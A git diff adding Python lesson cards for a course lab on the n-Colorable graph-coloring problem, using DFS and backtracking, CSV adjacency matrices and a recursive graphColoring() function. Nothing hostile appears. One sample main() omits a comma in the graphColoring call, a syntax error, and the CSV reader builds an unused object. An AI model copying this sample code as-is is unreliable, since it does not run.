+ if not isinstance(G, nx.DiGraph) and parent is not None:
+ children.remove(parent)
+ if len(children)!=0:
+ dx = width/len(children)
+ nextx = xcenter - width/2 - dx/2
+ for child in children:
+ nextx += dx
+ pos = _hierarchy_pos(G,child, width = dx, vert_gap = vert_gap,
+ vert_loc = vert_loc-vert_gap, xcenter=nextx,
+ pos=pos, parent = root)
+ return pos
+ return _hierarchy_pos(G, root, width, vert_gap, vert_loc, xcenter)
+
+def main():
+ #TODO for part 1
+ #read the input file: "input.txt"
+ #will contain structural numbers and names
+ #format: ###.some name
+ #parse the file for the structural numbers
+ #and the names that you will use to make
+ #your own graph
+ #note: you don't have to do this in the
+ #main method
+
+
+ #TODO for part 3
+ #display the graph using networkx and matplotlib
+ #HINT: the activity on directed graphs
+ #may be helpful ;)
+ #note: you don't have to do this in the
+ #main method
+
+ #TODO for part 4
+ #print the file structure in order
+ #beware that the input file may not
+ #be in numerical order.
+ #reminder: the format is ###.some name
+ #hint: use DFS
+ #note: you don't have to do this in the
+ #main method
+
+main()
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/1-1-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/1-1-1.md
new file mode 100644
index 00000000..ef2a80db
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/1-1-1.md
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+### Step 1: DFS and Backtracking Search
+
+In the algorithm, we can use **DFS** to inspect all nodes in our graph and assign a color to each one. In order to quicken the process, we can use **Backtracking Search**. Backtracking search will keep track of which colors are valid for a specific vertex. It will also ensure that the color assigned to the vertex currently being inspected has not been assigned to a connecting vertex. If no possible color can be assigned to a vertex, the backtracking search will indicate as such and the program will acknowledge that the graph is not n-Colorable.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/1-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/1-1.md
new file mode 100644
index 00000000..a25268c7
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/1-1.md
@@ -0,0 +1,33 @@
+
+
+
+
+
+
+This lab will require you to use **Depth First Search** and **Backtracking Search** to solve the n-Colorable problem. Therefore, we will briefly review both of these concepts.
+
+#### Step 1: Depth First Search (DFS)
+
+In **DFS** or **depth first search**, we start at a root node in our graph (this can be *the* root node, but also the root of any subtree), and traverse down a single branch to find our target node. If we don't find it, we traverse down the other branch. If we still don't find it, we pick one of the root's children to be the new root node and restart the process. We can perform our search in different orders just as with traversal, namely **preorder**, **inorder**, or **postorder**.
+
+How do you think we can use **DFS** in our solution to the n-Colorable problem?
+
+
+
+
+
+#### Step2: Backtracking Search
+
+With **backtracking search**, we solve the problem recursively, but when a solution does not satisfy the conditions of our problem, we remove it from consideration at that point in time. In other words, we try every single possible attempt at solution, and discard all the failures until we arrive at an answer that works.
+
+Backtracking is an algorithmic technique for solving problems recursively by trying to build a solution incrementally, one piece at a time, removing those solutions that fail to satisfy the constraints of the problem at any point of time.
+
+
+
+How do you think we can apply this logic of **backtracking search** into our solution to the n-Colorable problem to quicken our process of assigning colors to vertices?
+
+
+
+
+
+In this example, we first try left tree A. For node A, we have two options, C and D. Both of them are bad. As root A does not satisfy the solution, we discard this solution. Root B is the counterpart of root A, so we then try node B. We also have two choices, node E and node F. Node E is good, thus we find one solution, while node F is bad, so we discard that solution.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/1.md
new file mode 100644
index 00000000..016b4176
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/1.md
@@ -0,0 +1,45 @@
+
+
+
+
+
+
+The n-Colorable problem is a famous problem in graph theory. The goal is to color the vertices of an undirected graph such that no two vertices with the same color are connected by an edge. The catch is that you only have `n` colors. Obviously, we would assume that `n` is smaller than the number of nodes in the graph, otherwise it wouldn't be a problem. If a graph can be colored in this way using only `n` colors, we say that it is n-Colorable. The variable `n` is chosen by the user.
+
+
+
+The goal of this lab is to create a program that implements the n-Colorable problem. The user provides a CSV file that contains an adjacency matrix representing the graph. The program must convert this CSV file into a 2D list representation of the adjacency matrix. The program will ask the user for the **number of vertices** in the graph and **n**.
+
+
+
+The program will assign **colors 1:n** to each vertex in the graph. The element colors[`i`] will return the color assigned to vertex `i` in the graph.
+
+
+
+**Hint:** The algorithm to solve this problem takes advantage of **Depth First Search** (DFS) and **Backtracking Search**. You may want to brush up on these topics before completing this lab.
+
+
+
+#### Sample Input/Output:
+
+An adjacency matrix has a 1 at index `i` and `j` if there is an edge between vertex `i` and vertex `j` on the graph.
+
+
+
+Assuming that the graph above is undirected, the CSV file should contain:
+
+0,1,1,0
+
+1,0,0,1
+
+1,0,0,1
+
+0,1,1,0
+
+The user inputs **2** for n.
+
+The **output **should be:
+
+**1 2 2 1**
+
+In other words, nodes `1` and `4` will have one color and nodes `2` and `3` will have the other color. This color assignment was made because none of the nodes with the same color have an edge between them. Thus, this sample graph is n-Colorable.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/11.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/11.md
new file mode 100644
index 00000000..22a5b36a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/11.md
@@ -0,0 +1,33 @@
+
+
+
+
+
+
+This lab will require you to use **Depth First Search** and **Backtracking Search** to solve the n-Colorable problem. Therefore, we will briefly review both of these concepts.
+
+#### Step 1: Depth First Search (DFS)
+
+In **DFS** or **depth first search**, we start at a root node in our graph (this can be *the* root node, but also the root of any subtree), and traverse down a single branch to find our target node. If we don't find it, we traverse down the other branch. If we still don't find it, we pick one of the root's children to be the new root node and start over. We can perform our search in different orders just as with traversal, namely **preorder**, **inorder**, or **postorder**.
+
+How do you think we can use **DFS** in our solution to the n-Colorable problem?
+
+
+
+
+
+#### Step2: Backtracking Search
+
+With **backtracking search**, we solve the problem recursively. However, when a solution does not satisfy the conditions of our problem, we remove it from consideration. In other words, we try every possible attempt at finding a solution and discard all failures until we arrive at a viable answer.
+
+Backtracking is an algorithmic-technique for solving problems recursively by attempting to build a solution incrementally, removing failures to satisfy the constraints of the problem at any point in time.
+
+
+
+How do you think we can apply this logic of **backtracking search** into our n-Colorable solution to quicken the assignment of colors to vertices?
+
+
+
+
+
+In this example, we first try left tree A. For node A, we have two options, C and D. Both of them are bad; root A does not satisfy the solution, so we discard this solution. Root B is the counterpart of root A, so we then try node B. We also have two choices, node E and node F. Node E is good, so we find one solution, while node F is bad, which we will discard.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/111.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/111.md
new file mode 100644
index 00000000..322f3708
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/111.md
@@ -0,0 +1,26 @@
+
+
+
+
+
+
+In the algorithm, we can use **DFS** to inspect all nodes in our graph and assign a color to each. In order to speed up the process, we can use **Backtracking Search**. Backtracking search will track which colors are valid for a specific vertex. A color is valid if no connecting nodes already have it assigned. If no viable color can be assigned to a vertex (no valid color exists for this node), the program will determine that the graph is not n-Colorable.
+
+
+
+
+
+
+
+Let's see this in action with the graph we saw earlier:
+
+
+
+In this case, `n` = 2 and red and blue are our chosen colors. Let's walk through step by step to see how this assignment was reached. Assume we used a preorder search pattern. We first assigned a color to `1`. Let's assume that we attempted to assign blue first, then red second. Since this was the first node, we had no problem assigning blue to it. We then moved on to `2`.
+
+Here is where backtracking search came in. First, we checked to see if we could assign blue as its color. We couldn't because `2` is connected to `1`, which is blue, so we had to assign `2` to be red. Then, we moved on to `4`.
+
+We attempted to assign blue to `4`. No problem! It is not connected to any blue nodes, so we could assign its color to be blue. At this point, we have finished traversing `1`'s left tree, so we moved to its right tree. We then looked at `3`.
+
+Could we have assigned blue to `3`? No, for the same reason as `2`. Since `3` is connected to `1`, which was assigned the color blue, we have to assign the color red. You'd think we would move on to `4`, but wait! We already assigned this node its color. At this point, DFS has completed traversing the graph, which means we have solved the problem and shown that this graph is n-Colorable!
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/2-1-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/2-1-1.md
new file mode 100644
index 00000000..64aa1e7f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/2-1-1.md
@@ -0,0 +1,33 @@
+
+
+
+
+
+
+**Step 1: We must read each row in the CSV file in a for-loop and separate the integer values from the commas. **
+
+**Step 2: Place each row of the CSV file into our adjacency graph. **
+
+Here's the code to do so.
+
+```Python
+#Open file as a csvfile
+with open(filename) as csvfile:
+ csv_reader = csv.reader(csvfile, delimiter=",")
+
+ # Parse through csvfile by line (which are the rows of the adjacency matrix in our case)
+ for row in csvfile:
+ # Make a list of ints from the current row in the csv file by splitting the numbers from the ,
+ rowNums = [int(x) for x in row.split(',') if x.strip().isdigit()]
+ #x.strip().isdigit() return true if all the characters in the string is digit
+ #split them by ','
+ # Place the list of ints we just made into our 2D list graph
+ graph.append(rowNums) #put new row below previous graph to make it as an matrix
+
+```
+
+Don't forget to import the CSV package at the top of your file.
+
+```Python
+import csv
+```
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/2-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/2-1.md
new file mode 100644
index 00000000..33d030b5
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/2-1.md
@@ -0,0 +1,20 @@
+
+
+
+
+
+
+### Step 1: Initialize a List
+
+You must initialize a list for the graph that will become our 2D list adjacency matrix. For now, you can simply put:
+
+```Python
+graph = []
+```
+
+Then, use the content of the CSV file to fill out the 2D list. Append each row into the graph list you just initialized. Remember that the values are separated by commas. You must read in the values, not the commas.
+
+**Hint:** You can use Python's `split()` function to remove certain characters from a string.
+
+To illustrate what this means in our previous example, you would need to convert the sample CSV file into the table that we saw. This table will be assigned to `graph`.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/2.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/2.md
new file mode 100644
index 00000000..a0aa0314
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/2.md
@@ -0,0 +1,21 @@
+
+
+
+
+
+
+The first task to design our program is to create a function `fileReader()` that reads the user-provided CSV file containing the adjacency matrix. The function should place the content into a 2D list structure. The CSV file should look very similar in format to the table below:
+
+
+
+#### Sample CSV File:
+
+0,1,0,1
+
+1,0,1,0
+
+0,1,0,1
+
+1,0,1,0
+
+As you can see, our sample CSV provides the exact same information that our table does. Each node has its own line, and the relationship between nodes (connected or not) are separated by commas.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/21.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/21.md
new file mode 100644
index 00000000..93296cb1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/21.md
@@ -0,0 +1,20 @@
+
+
+
+
+
+
+### Step 1: Initialize a List
+
+You must initialize a list for the graph that will become our 2D list adjacency matrix. For now, you can simply put:
+
+```Python
+graph = []
+```
+
+Then, use the content of the CSV file to fill out the 2D list. Append each row into the graph list you just initialized. Remember that the values are separated by commas; you must read in the *values*, not the commas.
+
+**Hint:** You can use Python's `split()` function to remove certain characters from a string.
+
+To illustrate what this means with our previous example, you would need to convert the sample CSV file into the table that we saw. This table will be assigned to `graph`.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/211.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/211.md
new file mode 100644
index 00000000..178d7133
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/211.md
@@ -0,0 +1,33 @@
+
+
+
+
+
+
+**Step 1: We must read each row in the CSV file in a for-loop and separate the integer values from the commas. **
+
+**Step 2 : Place each row of the CSV file into our adjacency graph. **
+
+Here's the code to do so:
+
+```Python
+#Open file as a csvfile
+with open(filename) as csvfile:
+ csv_reader = csv.reader(csvfile, delimiter=",")
+
+ # Parse through csvfile by line (which are the rows of the adjacency matrix in our case)
+ for row in csvfile:
+ # Make a list of ints from the current row in the csv file by splitting the numbers from the ,
+ rowNums = [int(x) for x in row.split(',') if x.strip().isdigit()]
+ #x.strip().isdigit() return true if all the characters in the string is digit
+ #split them by ','
+ # Place the list of ints we just made into our 2D list graph
+ graph.append(rowNums) #put new row below previous graph to make it as an matrix
+
+```
+
+Don't forget to import the CSV package at the top of your file.
+
+```Python
+import csv
+```
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/3-1-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/3-1-1.md
new file mode 100644
index 00000000..f2a05517
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/3-1-1.md
@@ -0,0 +1,21 @@
+
+
+
+
+
+
+### Step 1: `initColors()`
+
+`initColors()` simply initializes a list of colors that holds numVertices 0s and returns the list. Here is the code that allows us to do that:
+
+```Python
+def initColors(numVertices):
+ colors = [0] * numVertices
+ return colors
+```
+
+This would create the following list:
+
+
+
+We would have received `numVertices` from either the length or width of our `graph` list from earlier.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/3-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/3-1.md
new file mode 100644
index 00000000..7822ce6f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/3-1.md
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+### Step 1: Initialize a Colors List
+
+Since we will have color assignments to all vertices, we must initialize a colors list that is numVertices long. It is okay to initialize the list to all 0s because we will be changing them later on in the program.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/3.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/3.md
new file mode 100644
index 00000000..62287ef3
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/3.md
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+Now that we have our 2D list adjacency matrix from the CSV file, we need to create a list to keep track of every vertices' color assignments. You can use a function `initColors()` to do so.
+
+
+
+#### Sample Colors List:
+
+This list will look similar to the one we saw in a previous example:
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/31.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/31.md
new file mode 100644
index 00000000..70aa1d41
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/31.md
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+Since we will have colors assigned to all vertices, we must initialize a colors list that is numVertices long. It is okay to initialize the list to all 0s because we will be changing them later on in the program. In other words, using our sample list:
+
+
+
+
+
+To create this list, we first need to determine its length. In this case, the length is `4`, the number of nodes in our example graph. We would then need to initialize all values in the created list to `0` before populating them later with the values shown above.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/311.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/311.md
new file mode 100644
index 00000000..617dddf0
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/311.md
@@ -0,0 +1,21 @@
+
+
+
+
+
+
+### Step 1: `initColors()`
+
+`initColors()` simply initializes a list of colors that holds numVertices 0s and returns the list. Here is the code that allows us to do that:
+
+```Python
+def initColors(numVertices):
+ colors = [0] * numVertices
+ return colors
+```
+
+This creates the following list:
+
+
+
+We would have received `numVertices` from either the length or width of our `graph` list from earlier.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4-1-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4-1-1.md
new file mode 100644
index 00000000..39a0e047
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4-1-1.md
@@ -0,0 +1,21 @@
+
+
+
+
+
+
+You'll be giving the `checkVertex()` function the adjacency matrix graph, the current index of the node you're inspecting, the colors vector, the color you want to assign to the current index, and the number of vertices.
+
+**Step 1: Check if the connected vertex has the color that we want to give to the current vertex**
+
+We will look at all the entries in the current index's row in the adjacency matrix and look for a 1. If we see a 1, that means that the current index's vertex is connected to another, so we check if that connected vertex has the color assignment we want for the current vertex. If we get through the entire current index's row without satisfying both conditions, it's safe to assign the color to the current vertex and we return True. The code is much more concise than the explanation. Let's check it out:
+
+```Python
+def checkVertex(graph, curIndex, colors, color, numVertices):
+ for i in range(0,numVertices):
+ if graph[curIndex][i] == 1 and colors[i] == color:
+ return False
+
+ return True
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4-1.md
new file mode 100644
index 00000000..da1e1116
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4-1.md
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+### Step 1: Check if we can assign the color to the vertex
+
+Before we get into functions that will assign the colors, it is a good idea to build a function that checks whether or not a certain vertex can be assigned a specified color. To do so, it must check whether any connecting vertices already have that color assignment. Try building a `checkVertex()` function. This function will allow us to implement backtracking search in `graphColoring()`.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4-2-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4-2-1.md
new file mode 100644
index 00000000..aaf29a09
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4-2-1.md
@@ -0,0 +1,33 @@
+
+
+
+
+
+
+### Step 1: `graphColoring()`
+
+Here is the Python implementation of the `graphColoring()` function:
+
+```Python
+def graphColoring(graph, n, colors, curIndex, numVertices):
+ #Base Case: return True once at last row of graph
+ if curIndex == numVertices:
+ return True
+
+ # for loop that goes from 1 to n. Which is one loop per color in colors
+ for i in range(1, n+1):
+ #Call checkVertex on the currentColor to see if the current vertex can have that color
+ if checkVertex(graph, curIndex, colors, i, numVertices) == True:
+ # If previous condition holds, assign color i to the current vertex
+ colors[curIndex] = i
+ # Now that we've assigned the color i to current vertex, recursively call graphColoring() on the next vertex
+ if graphColoring(graph, n, colors, curIndex + 1, numVertices) == True:
+ return True
+ colors[curIndex] = 0
+ #Returns false if no color can be assigned to a specific vertex. This is part of backtracking search
+ return False
+```
+
+
+
+Note the recursive usage of **DFS** and **backtracking search** being implemented by returning `False` if no color can be assigned to a vertex.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4-2.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4-2.md
new file mode 100644
index 00000000..1dacfb0c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4-2.md
@@ -0,0 +1,19 @@
+
+
+
+
+
+
+**Step 1: DFS**
+
+In this function, you will be using **DFS** to inspect all of the graph's vertices.
+
+**Step 2: Backtracking Search**
+
+You will be using **Backtracking Search** to tell if a certain vertex does not have a valid color. If that is the case, the function will return `False` to main.
+
+Since we want to use **Backtracking Search** in our algorithm, our `graphColoring()` function could take advantage of the previous one `checkVertex()` to check if the vertex currently being inspected has a valid color. If there isn't a valid color, `graphColoring()` should acknowledge this and return `False` so that `main()` knows that the graph is not n-Colorable.
+
+Also, don't forget to do your color assigning to vertices in the colors list.
+
+Note that you may find recursion helpful for this part (DFS).
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4.md
new file mode 100644
index 00000000..b77067b2
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/4.md
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+Since we have created our adjacency matrix and a colors list, the next step is to create the function that colors the vertices, the `graphColoring()` function. You may want to call other functions within `graphColoring()` to make your code more readable. You can use **DFS** to inspect the vertices of the graph and **Backtracking Search** to make the process quicker in some cases.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/41.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/41.md
new file mode 100644
index 00000000..df8266b2
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/41.md
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+### Step 1: Check if we can assign the color to the vertex
+
+Before we get into the functions that will assign the colors, it is a good idea to build a function that, when given a certain vertex and color, it checks if that vertex can be assigned that color. To do so, the function must check whether any connecting vertices already have that color assignment. Try building a `checkVertex()` function. This function will allow us to implement backtracking search in `graphColoring()`.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/411.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/411.md
new file mode 100644
index 00000000..4920248b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/411.md
@@ -0,0 +1,17 @@
+
+
+
+
+
+
+You'll be giving the `checkVertex()` function the adjacency matrix graph, current index of the node being inspected, the colors vector, the color to assign the current index, and the number of vertices. We will look at all entries in the current index's row in the adjacency matrix and look for a 1. If we see a 1, that means that the current index's vertex is connected to another vertex, so we check if that connected vertex has the color assignment that we want to give to the current vertex. If we get through the entire current index's row without satisfying both conditions, we can assign the color to the current vertex and we return True. The code is much more concise than the explanation. Let's check it out:
+
+```Python
+def checkVertex(graph, curIndex, colors, color, numVertices):
+ for i in range(0,numVertices):
+ if graph[curIndex][i] == 1 and colors[i] == color:
+ return False
+
+ return True
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/42.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/42.md
new file mode 100644
index 00000000..a2c3608b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/42.md
@@ -0,0 +1,19 @@
+
+
+
+
+
+
+**Step 1: DFS**
+
+In this function, you will be using **DFS** to inspect all of the graph's vertices.
+
+**Step 2: Backtracking Search**
+
+You will be using **Backtracking Search** to tell if a certain vertex doesn't have a valid color. If that is the case, the function will return `False` to main.
+
+Since we want to use **Backtracking Search** in our algorithm, our `graphColoring()` function could take advantage of the previous one `checkVertex()` to check if there is a valid color for the vertex currently being inspected. If there is not a valid color, `graphColoring()` should acknowledge this and return `False` so that `main()` knows that the graph is not n-Colorable.
+
+Also, don't forget to assign colors to vertices in the colors list.
+
+Note that you may find recursion helpful for this part (DFS).
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/421.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/421.md
new file mode 100644
index 00000000..aaf29a09
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/421.md
@@ -0,0 +1,33 @@
+
+
+
+
+
+
+### Step 1: `graphColoring()`
+
+Here is the Python implementation of the `graphColoring()` function:
+
+```Python
+def graphColoring(graph, n, colors, curIndex, numVertices):
+ #Base Case: return True once at last row of graph
+ if curIndex == numVertices:
+ return True
+
+ # for loop that goes from 1 to n. Which is one loop per color in colors
+ for i in range(1, n+1):
+ #Call checkVertex on the currentColor to see if the current vertex can have that color
+ if checkVertex(graph, curIndex, colors, i, numVertices) == True:
+ # If previous condition holds, assign color i to the current vertex
+ colors[curIndex] = i
+ # Now that we've assigned the color i to current vertex, recursively call graphColoring() on the next vertex
+ if graphColoring(graph, n, colors, curIndex + 1, numVertices) == True:
+ return True
+ colors[curIndex] = 0
+ #Returns false if no color can be assigned to a specific vertex. This is part of backtracking search
+ return False
+```
+
+
+
+Note the recursive usage of **DFS** and **backtracking search** being implemented by returning `False` if no color can be assigned to a vertex.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/5-1-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/5-1-1.md
new file mode 100644
index 00000000..081ff059
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/5-1-1.md
@@ -0,0 +1,34 @@
+
+
+
+
+
+
+### Step 1:`main()`
+
+The `main()` function is responsible for calling all appropriate functions and getting user input. Here is a proper implementation of the `main()` function:
+
+```Python
+def main():
+ # Call fileReader() function to get 2D list graph
+ graph = fileReader("test.csv")
+
+ # Get numVertices by getting length of graph
+ numVertices = len(graph)
+
+ # Get user input for n
+ n = int(input("Enter n: "))
+
+ # Call initColors() to initialize colors list
+ colors = initColors(numVertices)
+
+ #Call the graphColoring() function and if it returns false, that means that the graph can't be colored
+ if graphColoring(graph, n colors, 0, numVertices) == False:
+ print("Graph cannot be colored")
+ else:
+ print("The color assignments are: ")
+ for color in colors:
+ print(color)
+```
+
+Note that your `main()` function may not look exactly like this, and that is okay. Just make sure your code has all the desired functionality for the program to work correctly. Also note that in this case, the file with the adjacency matrix provided by the user is called `test.csv`.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/5-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/5-1.md
new file mode 100644
index 00000000..232ba26d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/5-1.md
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+### Step 1: `main()`
+
+Since the `main()` function drives your program's functionality, it must ask the user for the previously mentioned input, call `initColors()` to get the colors, and print existing color assignments once `graphColoring()` finishes running. Make sure you don't forget to include some of the `main()` functionality.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/5.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/5.md
new file mode 100644
index 00000000..b983224e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/5.md
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+The `main()` function of your program should ask the user for input regarding the number *n* in the n-Colorable problem. It should then call the proper functions with the proper arguments.
+
+```Python
+def main():
+ # Insert your code here
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/51.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/51.md
new file mode 100644
index 00000000..efd0cbad
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/51.md
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+### Step 1: `main()`
+
